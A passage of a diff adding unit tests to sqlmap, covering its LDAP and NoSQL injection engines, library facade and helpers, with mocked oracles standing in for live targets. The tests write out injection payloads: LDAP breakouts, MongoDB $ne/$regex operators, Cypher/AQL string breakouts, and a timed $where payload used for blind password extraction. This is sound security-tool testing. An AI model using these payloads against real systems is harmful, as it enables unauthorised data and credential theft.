InconclusiveOracle(object): + def extract(self, payload): + raise InconclusiveError() + + builder = ldap._ProbeBuilder(")") + self.assertIsNone(ldap._inferAttribute(InconclusiveOracle(), builder, "uid")) + + +class TestMultiValueDump(unittest.TestCase): + """Multi-valued LDAP attributes must NOT be 'enumerated' via entry-scoped negation (which excludes + the whole entry and mixes entries) - recover ONE matching value and label it honestly.""" + + def setUp(self): + self._exists, self._infer, self._dumpTable = ldap._exists, ldap._inferAttribute, ldap._dumpTable + + def tearDown(self): + ldap._exists, ldap._inferAttribute, ldap._dumpTable = self._exists, self._infer, self._dumpTable + + def test_reports_one_value_and_never_excludes(self): + captured = {} + exclusionsSeen = [] + + ldap._exists = lambda oracle, builder, attr, **kw: attr == "member" + def fakeInfer(oracle, builder, attr, constraint=None, exclusions=None, **kw): + exclusionsSeen.append(exclusions) + return "cn=alice,dc=x" if attr == "member" else None + ldap._inferAttribute = fakeInfer + ldap._dumpTable = lambda title, cols, rows: captured.update(title=title, cols=cols, rows=rows) + + dumped = ldap._dumpMultiValues(object(), ldap._ProbeBuilder(")"), "GET", "q") + self.assertTrue(dumped) + self.assertEqual(captured["rows"], [("cn=alice,dc=x",)]) # exactly one value + self.assertIn("one matching value", captured["title"].lower()) # honest label + # the broken exclusion walk must be gone: _inferAttribute is called WITHOUT exclusions + self.assertTrue(all(e in (None, [], ()) for e in exclusionsSeen)) + + +class TestIsError(unittest.TestCase): + def test_isError_positive(self): + self.assertTrue(ldap._isError("Bad search filter (-7)")) + + def test_isError_negative(self): + self.assertFalse(ldap._isError("OK")) + + def test_isError_ad(self): + self.assertTrue(ldap._isError("AcceptSecurityContext error, data 525")) + + +class TestSlot(unittest.TestCase): + def test_slot_defaults(self): + slot = ldap.Slot(place="GET", parameter="q") + self.assertEqual(slot.place, "GET") + self.assertEqual(slot.parameter, "q") + self.assertIsNone(slot.backend) + self.assertIsNone(slot.oracle) + self.assertIsNone(slot.template) + self.assertIsNone(slot.payload) + self.assertIsNone(slot.breakout) + self.assertIsNone(slot.bypass) + + +class TestBoundaries(unittest.TestCase): + def test_breakout_prefixes_defined(self): + """Verify the breakout prefix list is non-empty and ordered.""" + self.assertGreaterEqual(len(ldap.LDAP_BREAKOUT_PREFIXES), 4) + # First prefix should be the simplest/most generic + self.assertEqual(ldap.LDAP_BREAKOUT_PREFIXES[0], "*)") + + def test_detectBoolean_returns_prefix(self): + """_detectBoolean must return the winning breakout prefix.""" + def fakeSend(place, param, value): + if value.startswith("x*)(objectClass=*"): + return '{"count":15}' + return '{"count":0}' + ldap._send = fakeSend + from lib.core.enums import PLACE + template, bypass, breakout = ldap._detectBoolean(PLACE.GET, 'q') + self.assertIsNotNone(template) + self.assertEqual(breakout, "*)") + + def test_detectBoolean_fallback_prefix(self): + """When first prefix fails, try next one.""" + calls = [] + def fakeSend(place, param, value): + calls.append(value) + # First breakout '*)' -- error + if value.startswith("x*)(objectClass=*"): + return '{"error":"Bad search filter"}' + # Second breakout ')' succeeds + if value.startswith("x)(objectClass=*"): + return '{"count":15}' + return '{"count":0}' + ldap._send = fakeSend + from lib.core.enums import PLACE + template, bypass, breakout = ldap._detectBoolean(PLACE.GET, 'q') + self.assertIsNotNone(template) + self.assertEqual(breakout, ")") + + +class TestAuthBypassRestriction(unittest.TestCase): + def test_auth_bypass_password_like(self): + """Blockers 6: wildcard auth bypass only for password-like params.""" + self.assertTrue(ldap._isPasswordParam("password")) + self.assertTrue(ldap._isPasswordParam("pass")) + self.assertTrue(ldap._isPasswordParam("pwd")) + self.assertTrue(ldap._isPasswordParam("passphrase")) + self.assertTrue(ldap._isPasswordParam("secret")) + self.assertTrue(ldap._isPasswordParam("pincode")) + self.assertTrue(ldap._isPasswordParam("credential")) + self.assertTrue(ldap._isPasswordParam("apikey")) + self.assertTrue(ldap._isPasswordParam("token")) + self.assertTrue(ldap._isPasswordParam("auth_token")) + + def test_auth_bypass_search_like(self): + """Search parameter 'q' is NOT reported as auth bypass.""" + self.assertFalse(ldap._isPasswordParam("q")) + self.assertFalse(ldap._isPasswordParam("search")) + self.assertFalse(ldap._isPasswordParam("query")) + self.assertFalse(ldap._isPasswordParam("username")) + self.assertFalse(ldap._isPasswordParam("id")) + + +class TestCookiePlace(unittest.TestCase): + def test_cookie_not_in_ldap_places(self): + """Blockers 2: cookie/URI not in LDAP_PLACES until _send supports them.""" + from lib.core.enums import PLACE + self.assertNotIn(PLACE.COOKIE, ldap.LDAP_PLACES) + self.assertNotIn(PLACE.URI, ldap.LDAP_PLACES) + + +class TestNestedFilterParsing(unittest.TestCase): + def setUp(self): + # Import the REAL vulnserver parser (same technique as + # tests/test_graphql.py :: TestVulnserverGraphqlParser). `extra` and + # `extra/vulnserver` are packages, so a plain import works. + from extra.vulnserver import vulnserver + self.vs = vulnserver + + def test_nested_compound_parses_all_siblings(self): + """Blockers 3: nested (&) inside (|) must parse all siblings.""" + f = '(|(&(uid=a)(cn=b))(mail=*))' + + # The REAL _ldap_match must balance brackets across nested compounds. + # Outer (| ... ) starts at 0 and ends at len(f). + outer_end = self.vs._ldap_match(f, 0) + self.assertEqual(outer_end, len(f)) + # Inner (& ... )'s opening '(' is at position 2; _ldap_match must + # return the position right before the (mail=*) sibling. + inner_end = self.vs._ldap_match(f, 2) + self.assertEqual(f[inner_end:inner_end+8], '(mail=*)') + + # The REAL filter->SQL conversion must surface EVERY sibling condition: + # both members of the nested (&) AND the (mail=*) sibling of the (|). + clause, params, end = self.vs._ldap_filter_to_sql(f) + self.assertEqual(end, len(f)) + self.assertIsNotNone(clause) + # nested-(&) siblings -> AND-joined, both columns present + self.assertIn(" AND ", clause) + self.assertIn("uid", clause) + self.assertIn("cn", clause) + # outer-(|) sibling must NOT be dropped + self.assertIn(" OR ", clause) + self.assertIn("mail", clause) + # the two equality values are parameterized in order + self.assertEqual(params, ["a", "b"]) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_library.py b/tests/test_library.py new file mode 100644 index 00000000000..36a608e31a8 --- /dev/null +++ b/tests/test_library.py @@ -0,0 +1,146 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit coverage for the library facade (import sqlmap; sqlmap.scan(...)). + +The facade drives the engine out-of-process through a generated configuration file (the same '-c' +mechanism the REST API uses) and reads back a '--report-json' report. These tests stub +subprocess.Popen to (a) capture the argv/config sqlmap.scan() builds from its keyword options and +(b) feed back a canned report - keeping the test fast, offline and network-free (no real scan runs). + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import json +import os +import re +import subprocess +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +import sqlmap + + +class _FakePopen(object): + """Stub that records argv/config and writes a canned report to the config's 'reportJson' path.""" + + captured = {} + returncode = 0 + + def __init__(self, argv, **kwargs): + _FakePopen.captured["argv"] = argv + _FakePopen.captured["kwargs"] = kwargs + with open(argv[argv.index("-c") + 1]) as f: + config = f.read() + _FakePopen.captured["config"] = config + report = re.search(r"(?im)^reportjson\s*=\s*(.+)$", config).group(1).strip() + with open(report, "w") as f: + json.dump({"success": True, "data": [{"type_name": "BANNER", "value": "3.45.1"}], "error": []}, f) + + def wait(self, timeout=None): + return 0 + + def poll(self): + return 0 + + def kill(self): + pass + + +class TestLibraryFacade(unittest.TestCase): + def setUp(self): + self._realPopen = subprocess.Popen + subprocess.Popen = _FakePopen + _FakePopen.captured = {} + + def tearDown(self): + subprocess.Popen = self._realPopen + + def test_requires_a_target(self): + subprocess.Popen = self._realPopen # never reached; guard fires first + self.assertRaises(sqlmap.SqlmapError, sqlmap.scan) + + def test_rejects_unknown_option(self): + # a command line switch spelling (rather than a conf option name) must be rejected loudly + self.assertRaises(sqlmap.SqlmapError, sqlmap.scan, "http://target/?id=1", current_user=True) + + def test_options_go_through_config(self): + result = sqlmap.scan("http://target/vuln.php?id=1", technique="BEU", dumpTable=True, + tbl="users", level=3, getBanner=True, raw=["--fresh-queries"]) + argv = _FakePopen.captured["argv"] + config = _FakePopen.captured["config"] + # driven via a generated config file, stdin ignored, engine plumbing set - no arg escaping + self.assertIn("-c", argv) + self.assertIn("--ignore-stdin", argv) + self.assertIn("--fresh-queries", argv) # raw escape hatch stays on the CLI + # options land in the config using sqlmap's own (conf) names (ConfigParser lowercases keys) + self.assertTrue(re.search(r"(?im)^url\s*=\s*http://target/vuln.php\?id=1$", config)) + self.assertTrue(re.search(r"(?im)^technique\s*=\s*BEU$", config)) + self.assertTrue(re.search(r"(?im)^tbl\s*=\s*users$", config)) + self.assertTrue(re.search(r"(?im)^level\s*=\s*3$", config)) + self.assertTrue(re.search(r"(?im)^dumptable\s*=\s*True$", config)) + self.assertTrue(re.search(r"(?im)^getbanner\s*=\s*True$", config)) + self.assertTrue(re.search(r"(?im)^batch\s*=\s*True$", config)) + self.assertTrue(re.search(r"(?im)^outputdir\s*=", config)) # each run isolated on disk + # file descriptors are not leaked to the engine (matches the REST API subprocess) + self.assertFalse(_FakePopen.captured["kwargs"].get("close_fds") and os.name == "nt") + # canned report is returned verbatim + self.assertTrue(result["success"]) + self.assertEqual(result["data"][0]["value"], "3.45.1") + + def test_scan_from_request_uses_request_file(self): + sqlmap.scanFromRequest("/tmp/req.txt", technique="U") + config = _FakePopen.captured["config"] + self.assertTrue(re.search(r"(?im)^requestfile\s*=\s*/tmp/req.txt$", config)) + self.assertTrue(re.search(r"(?im)^technique\s*=\s*U$", config)) + + def test_missing_report_raises(self): + class _NoReportPopen(_FakePopen): + def __init__(self, argv, **kwargs): + _FakePopen.captured["argv"] = argv # write nothing -> no report file + subprocess.Popen = _NoReportPopen + self.assertRaises(sqlmap.SqlmapError, sqlmap.scan, "http://target/?id=1") + + +class TestReportErrorCapture(unittest.TestCase): + """ + The library tells failure modes apart (unreachable vs nothing-found) because a CLI --report-json + run now records error/critical log messages into the report 'error' array, like the REST API. + """ + + def test_errors_reach_the_report(self): + import logging + from lib.core.data import logger + from lib.utils.api import setupReportCollector, _assembleData, ReportErrorRecorder, REPORT_TASKID + + # represent a normal run: the shared test bootstrap silences the logger (CRITICAL+1), which would + # otherwise gate the ERROR record before it reaches the recorder (order-dependent flakiness) + saved_level = logger.level + logger.setLevel(logging.ERROR) + # mute the existing console handler(s) so the deliberate ERROR below does not leak to the + # unittest output; the recorder added by setupReportCollector next still captures it + muted = [(handler, handler.level) for handler in logger.handlers] + for handler, _ in muted: + handler.setLevel(logging.CRITICAL + 1) + collector = setupReportCollector() + try: + logger.error("boom %s", "here") + result = _assembleData(collector, REPORT_TASKID) + self.assertTrue(any("boom here" in _ for _ in result["error"])) + finally: + logger.setLevel(saved_level) + for handler, level in muted: + handler.setLevel(level) + for handler in list(logger.handlers): + if isinstance(handler, ReportErrorRecorder): + logger.removeHandler(handler) + collector.disconnect() + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_misc.py b/tests/test_misc.py new file mode 100644 index 00000000000..f3bf3faef25 --- /dev/null +++ b/tests/test_misc.py @@ -0,0 +1,129 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Assorted pure helpers: stats, set ops, value predicates, value/counter stacks, +enum helpers, DBMS alias/version checks, column prioritization. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core import common as C +from lib.core.settings import NULL +from lib.core.enums import DBMS + + +class TestStats(unittest.TestCase): + def test_average(self): + self.assertEqual(C.average([1, 2, 3, 4]), 2.5) + self.assertEqual(C.average([5]), 5) + + def test_stdev(self): + self.assertAlmostEqual(C.stdev([1, 2, 3, 4]), 1.2909944, places=5) + self.assertIsNone(C.stdev([5])) # undefined for single sample + + +class TestSetOps(unittest.TestCase): + def test_intersect(self): + self.assertEqual(C.intersect([1, 2, 3], [2, 3, 4]), [2, 3]) + self.assertEqual(C.intersect([1], [2]), []) + + def test_filterPairValues(self): + self.assertEqual(C.filterPairValues([[1, 2], [3], [4, 5], []]), [[1, 2], [4, 5]]) + + +class TestValuePredicates(unittest.TestCase): + def test_isNoneValue(self): + for v in (None, [], "", {}): + self.assertTrue(C.isNoneValue(v), msg="isNoneValue(%r)" % (v,)) + + def test_isNullValue(self): + self.assertTrue(C.isNullValue(NULL)) + # discriminating negatives: an always-True impl must fail these + self.assertFalse(C.isNullValue(None)) + self.assertFalse(C.isNullValue("")) + self.assertFalse(C.isNullValue("x")) + + def test_isNumPosStrValue(self): + for v, exp in [("5", True), ("0", False), ("-1", False), ("a", False), ("12", True)]: + self.assertEqual(bool(C.isNumPosStrValue(v)), exp, msg="isNumPosStrValue(%r)" % v) + + def test_firstNotNone(self): + self.assertEqual(C.firstNotNone(None, None, 5, 6), 5) + self.assertIsNone(C.firstNotNone(None, None)) + + +class TestValueStackAndCounters(unittest.TestCase): + def test_push_pop(self): + C.pushValue(7) + C.pushValue("x") + self.assertEqual(C.popValue(), "x") + self.assertEqual(C.popValue(), 7) + + def test_counters(self): + C.resetCounter("UNITTEST") + C.incrementCounter("UNITTEST") + C.incrementCounter("UNITTEST") + self.assertEqual(C.getCounter("UNITTEST"), 2) + + +class TestEnumAndDbmsHelpers(unittest.TestCase): + def test_aliasToDbmsEnum(self): + self.assertEqual(C.aliasToDbmsEnum("mysql"), DBMS.MYSQL) + self.assertEqual(C.aliasToDbmsEnum("postgres"), DBMS.PGSQL) + + def test_getPublicTypeMembers(self): + members = list(C.getPublicTypeMembers(DBMS, onlyValues=True)) + # goal is correct EXTRACTION, not a magic count: real members present, no private/dunder leak + self.assertIn(DBMS.MYSQL, members) + self.assertIn(DBMS.MSSQL, members) + self.assertIn(DBMS.ORACLE, members) + self.assertFalse(any(str(m).startswith("_") for m in members), msg="leaked private member: %r" % members) + + def test_isDBMSVersionAtLeast(self): + set_dbms(DBMS.MYSQL) + C.Backend.setVersion("5.7") + self.assertTrue(C.isDBMSVersionAtLeast("5.0")) + self.assertFalse(C.isDBMSVersionAtLeast("8.0")) + + +class TestColumnPriority(unittest.TestCase): + def test_prioritySortColumns(self): + # assert the FULL ordering, not just the first element (id-like floats to front, + # rest keep their relative order) + self.assertEqual(C.prioritySortColumns(["data", "id", "name"]), ["id", "data", "name"]) + + def test_prioritySortColumns_empty(self): + self.assertEqual(C.prioritySortColumns([]), []) + + +class TestArrayHelpers(unittest.TestCase): + def test_unArrayizeValue(self): + self.assertEqual(C.unArrayizeValue([5]), 5) # single-element list -> the element + self.assertEqual(C.unArrayizeValue([1, 2]), 1) # multi -> first + self.assertEqual(C.unArrayizeValue(7), 7) # scalar -> unchanged + self.assertIsNone(C.unArrayizeValue([])) # empty -> None + + def test_arrayizeValue(self): + self.assertEqual(C.arrayizeValue(5), [5]) # scalar -> wrapped + self.assertEqual(C.arrayizeValue([5]), [5]) # list -> unchanged + + def test_roundtrip_scalar(self): + for v in (0, 1, "x", "value"): + self.assertEqual(C.unArrayizeValue(C.arrayizeValue(v)), v) + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_nosql.py b/tests/test_nosql.py new file mode 100644 index 00000000000..952af925ee9 --- /dev/null +++ b/tests/test_nosql.py @@ -0,0 +1,929 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline, deterministic tests for the NoSQL injection engine. Mock oracles stand in for the +HTTP/back-end layer so detection and blind extraction can be exercised without a live target, +covering each dialect: MongoDB/CouchDB operator injection, Elasticsearch/Solr query_string, +Neo4j Cypher and ArangoDB AQL string break-out. +""" + +import re +import time +import unittest + +from _testutils import bootstrap +bootstrap() + +import lib.techniques.nosql.inject as ni + +# several setUps here write these conf keys without restoring them; snapshot/restore at the module +# boundary so they can't leak into later test modules (order-dependent flakiness) +_NOSQL_CONF_KEYS = ("parameters", "paramDict", "timeSec", "cookieDel") +_saved_conf = {} + +def setUpModule(): + from lib.core.data import conf + for k in _NOSQL_CONF_KEYS: + _saved_conf[k] = conf.get(k) + +def tearDownModule(): + from lib.core.data import conf + for k, v in _saved_conf.items(): + conf[k] = v + +SECRET = "S3cr3t_9" +MATCH = "Welcome user; rows: alpha, bravo, charlie" +NOMATCH = "Invalid credentials; no rows" + + +def _mongo(place, parameter, op, value, isArray=False): + if op == "$ne": + return MATCH + if op == "$in": + return NOMATCH + if op == "$regex": + try: + return MATCH if re.match(value, SECRET) is not None else NOMATCH + except re.error: + return "error: invalid regular expression" + return "" + + +def _es(place, parameter, value): + if value == "*": + return MATCH + if "AND NOT" in value: # Lucene (rand AND NOT rand) -> nothing + return NOMATCH + if value.startswith("(NOT ") and value.endswith(")"): # Lucene (NOT rand) -> everything + return MATCH + if value == ni.NOSQL_SENTINEL: + return NOMATCH + if value.startswith("/") and value.endswith("/"): # Lucene regexp is full-anchored + try: + return MATCH if re.match("^(?:%s)$" % value[1:-1], SECRET) is not None else NOMATCH + except re.error: + return "error: parse_exception" + return NOMATCH + + +class TestNoSqlMongo(unittest.TestCase): + def setUp(self): + self._orig = ni._fetch + ni._fetch = _mongo + + def tearDown(self): + ni._fetch = self._orig + + def test_detect(self): + self.assertTrue(ni._detectMongo("GET", "password")) + + def test_extract(self): + template = ni._fetch("GET", "password", "$ne", ni.NOSQL_SENTINEL) + value = ni._extract(template, + lambda v: ni._fetch("GET", "password", "$regex", v), + lambda n: "^.{%d,}$" % n, + lambda known, klass: "^" + re.escape(known) + klass) + self.assertEqual(value, SECRET) + + def test_not_injectable(self): + ni._fetch = lambda *args, **kwargs: MATCH + self.assertIsNone(ni._detectMongo("GET", "password")) + + def test_resolve_vector_carries_false_model(self): + # the LIVE vector must carry a calibrated false model so extraction is dual-model, not one-sided + vector = ni._resolve("GET", "password", "password") + self.assertIsNotNone(vector) + self.assertEqual(vector.falseModel, NOMATCH) # $in[sentinel] no-match page + + def test_dual_model_extraction_and_unrelated_page_inconclusive(self): + template = MATCH + falseModel = NOMATCH + value = ni._extract(template, + lambda v: ni._fetch("GET", "password", "$regex", v), + lambda n: "^.{%d,}$" % n, + lambda known, klass: "^" + re.escape(known) + klass, + falseModel=falseModel) + self.assertEqual(value, SECRET) + # an unrelated usable page (neither true nor false model) must be inconclusive, not a false bit + self.assertRaises(ni.InconclusiveError, + ni._contentBit, lambda v: "CCCCC unrelated captcha page", "A", MATCH, NOMATCH) + + +class TestNoSqlElasticsearch(unittest.TestCase): + def setUp(self): + self._orig = ni._fetchValue + ni._fetchValue = _es + + def tearDown(self): + ni._fetchValue = self._orig + + def test_detect(self): + self.assertTrue(ni._detectES("GET", "q")) + + def test_extract(self): + template = ni._fetchValue("GET", "q", "*") + value = ni._extract(template, + lambda v: ni._fetchValue("GET", "q", v), + lambda n: "/.{%d,}/" % n, + lambda known, klass: "/%s%s.*/" % (ni._lucene(known), klass)) + self.assertEqual(value, SECRET) + + def test_not_injectable(self): + ni._fetchValue = lambda *args, **kwargs: MATCH + self.assertIsNone(ni._detectES("GET", "q")) + + +def _cypher(place, parameter, value): + m = re.search(r"STARTS WITH '([^']*)'", value) # Cypher-only prefix predicate on 'ab' + if m: + return MATCH if "ab".startswith(m.group(1)) else NOMATCH + m = re.search(r"=~ '\^(.*)$", value) # the regex body after the =~ operator + if m: + try: + return MATCH if re.match("^(?:%s)$" % m.group(1), SECRET) is not None else NOMATCH + except re.error: + return NOMATCH + if "'1'='1" in value: + return MATCH + if "'1'='2" in value: + return NOMATCH + return NOMATCH + + +class TestNoSqlCypher(unittest.TestCase): + def setUp(self): + self._orig = ni._fetchValue + ni._fetchValue = _cypher + + def tearDown(self): + ni._fetchValue = self._orig + + def test_detect(self): + self.assertTrue(ni._detectCypher("GET", "password")) + + def test_extract(self): + template = ni._fetchValue("GET", "password", ni.NOSQL_SENTINEL + "' OR '1'='1") + value = ni._extract(template, + lambda v: ni._fetchValue("GET", "password", v), + lambda n: "%s' OR u.password =~ '^.{%d,}" % (ni.NOSQL_SENTINEL, n), + lambda known, klass: "%s' OR u.password =~ '^%s%s.*" % (ni.NOSQL_SENTINEL, ni._javaEscape(known), klass)) + self.assertEqual(value, SECRET) + + +def _aql(place, parameter, value): + m = re.search(r"=~ '(\^[^']*)'", value) # the regex body inside =~ '...' + if m: + try: # ArangoDB =~ is a partial (unanchored) match + return MATCH if re.search(m.group(1), SECRET) is not None else NOMATCH + except re.error: + return NOMATCH + if "'1'=='1" in value: + return MATCH + return NOMATCH + + +class TestNoSqlArango(unittest.TestCase): + def setUp(self): + self._orig = ni._fetchValue + ni._fetchValue = _aql + + def tearDown(self): + ni._fetchValue = self._orig + + def test_detect(self): + self.assertTrue(ni._detectAQL("GET", "password")) + + def test_extract(self): + template = ni._fetchValue("GET", "password", ni.NOSQL_SENTINEL + "' || '1'=='1") + value = ni._extract(template, + lambda v: ni._fetchValue("GET", "password", v), + lambda n: "%s' || (u.password =~ '^.{%d,}') || '1'=='2" % (ni.NOSQL_SENTINEL, n), + lambda known, klass: "%s' || (u.password =~ '^%s%s') || '1'=='2" % (ni.NOSQL_SENTINEL, ni._javaEscape(known), klass)) + self.assertEqual(value, SECRET) + + +def _n1ql(place, parameter, value): + m = re.search(r"REGEXP_CONTAINS\([^,]+, '([^']*)'\)", value) + if m: + try: # model the single-quoted string layer (collapse the doubled backslashes) + return MATCH if re.search(m.group(1).replace("\\\\", "\\"), SECRET) is not None else NOMATCH + except re.error: + return NOMATCH + if "=~" in value: # N1QL has no =~ operator -> engine error + return "error: syntax error near '=~'" + if "'1'='1" in value: + return MATCH + return NOMATCH + + +class TestNoSqlN1QL(unittest.TestCase): + """Couchbase N1QL shares the ' OR '1'='1 break-out with Neo4j; _resolve() must disambiguate by the + regexp-match primitive (=~ fails, REGEXP_CONTAINS works) and still extract""" + + def setUp(self): + self._f, self._fv = ni._fetch, ni._fetchValue + ni._fetch = lambda *args, **kwargs: "" # keep MongoDB operator detection out of the way + ni._fetchValue = _n1ql + ni.conf.parameters = {"GET": "name=luther&password=x"} + + def tearDown(self): + ni._fetch, ni._fetchValue = self._f, self._fv + + def test_resolve_disambiguates_couchbase(self): + vector = ni._resolve("GET", "password", "password") + self.assertEqual(vector.dbms, "Couchbase") + self.assertEqual(vector.bypass, "' OR '1'='1") + + def test_extract(self): + vector = ni._resolve("GET", "password", "password") + self.assertEqual(ni._extract(vector.template, vector.fetch, vector.lengthValue, vector.charValue, vector.truth), SECRET) + + +def _whereTruth(payload): + # emulate the $where timing oracle: a payload "delays" (=> True) iff its embedded JS condition holds + m = re.search(r"length>=(\d+)", payload) + if m: + return len(SECRET) >= int(m.group(1)) + m = re.search(r"/\^([^/]*)/\.test", payload) + if m: + return re.search("^" + m.group(1), SECRET) is not None + return False + + +class TestNoSqlWhere(unittest.TestCase): + """MongoDB $where time-based: validates the server-side-JS payload shapes and the time-based + extraction loop (timing predicate emulated deterministically)""" + + def setUp(self): + ni.conf.timeSec = 5 + + def test_extract(self): + key = "password" + lengthValue = lambda n: ni._whereDelay("d.%s&&d.%s.length>=%d" % (key, key, n)) + charValue = lambda known, klass: ni._whereDelay("d.%s&&/^%s%s/.test(d.%s)" % (key, ni._javaEscape(known), klass, key)) + self.assertEqual(ni._extract(None, None, lengthValue, charValue, _whereTruth), SECRET) + + def test_where_delay_is_dos_bounded(self): + # the per-document busy-loop must be capped to ONE document per query (shared-scope counter), + # so a loose/unconditional condition on a large collection cannot block for docCount*timeSec. + # The condition and delay budget must still be embedded verbatim (oracle unchanged). + payload = ni._whereDelay("true") + self.assertIn("__c", payload) # shared-scope counter present + self.assertIn("__c<1", payload) # loop gated on the one-shot cap + self.assertIn("(true)", payload) # original condition preserved + self.assertIn(str(int(ni.conf.timeSec * 1000)), payload) # delay budget preserved + + +def _jswhere(place, parameter, value): + # emulate a content-bearing MongoDB $where (server-side JavaScript) endpoint + if " OR " in value or " =~ " in value: # not valid JS -> consistent (non-diverging) error + return "" + m = re.search(r"/(.)/\.test\('x'\)", value) # JS regexp-test disambiguation probe + if m: + return MATCH if re.search(m.group(1), "x") is not None else NOMATCH + m = re.search(r"/\^([^/]*)/\.test\(this\.password\)", value) # value extraction + if m: + try: + return MATCH if re.search("^" + m.group(1), SECRET) is not None else NOMATCH + except re.error: + return NOMATCH + m = re.search(r"length>=(\d+)", value) # length search + if m: + return MATCH if len(SECRET) >= int(m.group(1)) else NOMATCH + if "'1'=='1" in value or "this.password)" in value: # boolean detection / bound always-true template + return MATCH + return NOMATCH + + +class TestNoSqlWhereContent(unittest.TestCase): + """Content-bearing MongoDB $where shares the ' || '1'=='1 break-out with ArangoDB; _resolve() must + disambiguate (AQL '=~' fails, a JS /re/.test() holds) and extract via the content oracle""" + + def setUp(self): + self._f, self._fv = ni._fetch, ni._fetchValue + ni._fetch = lambda *args, **kwargs: "" + ni._fetchValue = _jswhere + ni.conf.parameters = {"GET": "username=luther&password=x"} + + def tearDown(self): + ni._fetch, ni._fetchValue = self._f, self._fv + + def test_resolve_where_content(self): + vector = ni._resolve("GET", "password", "password") + self.assertEqual(vector.dbms, "MongoDB ($where)") + self.assertEqual(vector.bypass, "' || '1'=='1") + + def test_extract(self): + vector = ni._resolve("GET", "password", "password") + self.assertEqual(ni._extract(vector.template, vector.fetch, vector.lengthValue, vector.charValue, vector.truth), SECRET) + + +class TestNoSqlWhereDump(unittest.TestCase): + """$where whole-document dump: Object.keys(this) enumeration drives name + value recovery for every + field (per-field char recovery itself is covered by TestNoSqlWhere)""" + + DOC = [("id", "1"), ("username", "luther"), ("password", "s3cr3t"), ("role", "admin")] + + def setUp(self): + self._orig = ni._whereField + names = [name for name, _ in self.DOC] + values = dict(self.DOC) + + def fake(place, parameter, bound, expr, threshold, strict=False): + m = re.search(r"Object\.keys\(d\)\[(\d+)\]", expr) + if m: + index = int(m.group(1)) + return names[index] if index < len(names) else None + m = re.search(r"d\['([^']*)'\]", expr) + if m: + return values.get(m.group(1)) + return None + + ni._whereField = fake + + def tearDown(self): + ni._whereField = self._orig + + def test_dump(self): + columns, rows, bound, complete = ni._whereDump("GET", "password", "", 0) + self.assertEqual(columns, ["id", "username", "password", "role"]) + self.assertEqual(rows, [["1", "luther", "s3cr3t", "admin"]]) + + def test_empty_document(self): + ni._whereField = lambda *args, **kwargs: None + self.assertIsNone(ni._whereDump("GET", "password", "", 0)) + + +class TestNoSqlRecordBinding(unittest.TestCase): + """A whole-document dump must be flagged bound only when a unique-record constraint pins it; an + unbound dump (no distinguishing sibling) is representative, not one coherent document.""" + + def test_vector_bound_defaults_true(self): + self.assertTrue(ni.Vector("X", None, None, None).bound) + self.assertFalse(ni.Vector("X", None, None, None, bound=False).bound) + + def test_where_vector_unbound_without_sibling(self): + # single injected param, no sibling -> _constraint is "" -> $where dump is representative + ni.conf.parameters = {ni.PLACE.GET: "name=luther"} + ni.conf.paramDict = {ni.PLACE.GET: {"name": "luther"}} + self.assertEqual(ni._constraint(ni.PLACE.GET, "name", "==", "&&", prefix="d."), "") + + def test_where_vector_bound_with_sibling(self): + # a distinguishing sibling pins the record -> bound constraint is non-empty + ni.conf.parameters = {ni.PLACE.GET: "id=7&name=luther"} + ni.conf.paramDict = {ni.PLACE.GET: {"name": "luther"}} + bound = ni._constraint(ni.PLACE.GET, "name", "==", "&&", prefix="d.") + self.assertIn("d.id=='7'", bound) + self.assertTrue(bool(bound)) + + +class TestNoSqlTriStateOracle(unittest.TestCase): + """A failed/blocked NoSQL response is UNKNOWN, retried, then aborts - never a silent false bit.""" + + def test_content_bit_retries_transient_then_recovers(self): + state = {"n": 0} + def fetch(value): + state["n"] += 1 + return None if state["n"] == 1 else "TEMPLATE" # first send fails, retry recovers + self.assertTrue(ni._contentBit(fetch, "A", "TEMPLATE")) + + def test_content_bit_persistent_failure_raises(self): + self.assertRaises(ni.InconclusiveError, ni._contentBit, lambda v: None, "A", "TEMPLATE") + + def test_content_bit_error_page_is_not_true(self): + # an error page is unusable -> retried -> InconclusiveError, never classified true/false + self.assertRaises(ni.InconclusiveError, ni._contentBit, + lambda v: "MongoServerError: unknown operator: $foo", "A", "TEMPLATE") + + def test_extract_aborts_value_on_inconclusive(self): + # a persistently failing oracle aborts the value (None), never fabricates a length/char + self.assertIsNone(ni._extract("TMPL", lambda v: None, + lambda n: "len>=%d" % n, lambda k, c: "char", truthFn=None)) + + def test_timed_bit_rejects_blocked_slow_response(self): + # a slow response that is BLOCKED (WAF/5xx) must not count as a true timing bit + self._fv = ni._fetchValue + try: + ni._lastCode = 429 + ni._fetchValue = lambda *a, **k: (time.sleep(0.01) or "") # slow but blocked (_isError via 429) + self.assertRaises(ni.InconclusiveError, ni._timedBit, "GET", "q", "payload", 0.0) + finally: + ni._fetchValue = self._fv + ni._lastCode = None + + def test_content_bit_unrelated_page_is_inconclusive_not_false(self): + # P0-2: a usable page matching NEITHER the true nor the false model is UNKNOWN, not false - + # with both models supplied it must abort (InconclusiveError), never silently return False + self.assertRaises(ni.InconclusiveError, + ni._contentBit, lambda v: "CCCCC unrelated soft-WAF page", "A", "AAAAA", "BBBBB") + + def test_content_bit_both_models_classify_true_and_false(self): + self.assertTrue(ni._contentBit(lambda v: "AAAAA", "A", "AAAAA", "BBBBB")) + self.assertFalse(ni._contentBit(lambda v: "BBBBB", "A", "AAAAA", "BBBBB")) + + def test_detect_where_rejects_blocked_slow_responses(self): + # P0-2: delayed BLOCKED responses (zero usable) must NOT establish a $where timing threshold + self._fv = ni._fetchValue + try: + ni.conf.timeSec = 5 + ni.conf.parameters = 